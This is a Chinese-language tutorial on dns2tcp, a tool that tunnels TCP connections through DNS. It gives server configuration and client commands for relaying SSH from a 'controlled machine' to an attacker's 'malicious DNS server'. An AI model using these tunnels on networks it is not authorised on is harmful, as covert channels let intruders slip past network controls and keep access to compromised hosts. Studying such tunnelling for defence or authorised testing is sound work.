一、入坑必读
1、简介
dns2tcp 是一个利用DNS隧道转发TCP连接的工具,使用C语言开发。
使用热度: ★★★★☆
2、专业词
- Type:DNS解析的类型,常见的有:A、CNAME、MX、TXT……
- 直连模式:客户端直接向指定IP的
恶意DNS服务器
发起DNS解析请求 - 中继模式:像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的
恶意DNS服务器
。相比直连,速度较慢,但是更安全。
3、放哪儿
攻击机 | 被控机 |
---|---|
服务端 | 客户端 |
4、支持Type
- KEY
- TXT
5、兼容说明
- 服务端运行在
Linux
服务器上,Windows不支持服务端,需编译,对应文件:dns2tcpd。 - 客户端可运行在
Linux
和Windows
上,对应文件:dns2tcpc。 - kali系统内置dns2tcp
6、全套下载地址
- CSDN:https://download.csdn.net/download/localhost01/10932795
二、原理简述
-
客户端会在本地监听一个端口,并指定:要使用服务端上面的哪个资源(如ssh、socket、http)
-
我们只需把数据扔进本地的该端口,dns2tcpc将使用DNS隧道传送到服务端。
-
随后,服务端根据客户端指定要使用的资源,将数据转发到其本机的相应端口中去。
-
这里的
相应端口
,可通过配置文件(/etc/dns2tcpd.conf)配置,如:
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http:127.0.0.1:8082
因此,使用也简单:所有请求只需扔到本地监听的端口即可。
三、安装使用
1、安装
下载下来即可!
2、使用
服务端:
1、编辑/etc/dns2tcpd.conf文件,内容如下:
listen = 192.168.10.88(本机IP)
port = 53
user = nobody
chroot = /var/empty/dns2tcp/
# 连接密码
key = 123456
# 解析的域名
domain = abc.com
# 提供出来可使用的资源列表
resources = ssh:127.0.0.1:22,http:127.0.0.1:8080
2、运行dns2tcpd:
dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf
其中:
- -F 前台运行
- -d 调试信息基本,越低信息越全
- -f 配置文件
客户端:
1、连接测试:
dns2tcpc -key 123456 -z abc.com <your server ip>
其中:
- -key 连接密码
- -z 启用压缩,速度将更快
- <your server ip> 可选,服务端所在IP(DNS服务器IP)。不写将使用中继模式,否则使用直连模式
如果提示:
Available connection(s):
ssh
表示连接可用!
2、进行连接:
dns2tcpc -key 123456 -r ssh -l 9999 -z abc.com <your server ip>
其中:
- -r 表示要使用的服务器的哪个资源
- -l 本地监听的端口
- <your server ip> 可选,服务端所在IP(DNS服务器IP)。不写将使用中继模式,否则使用直连模式
然后:
# ssh连接
ssh 127.0.0.1 -p 9999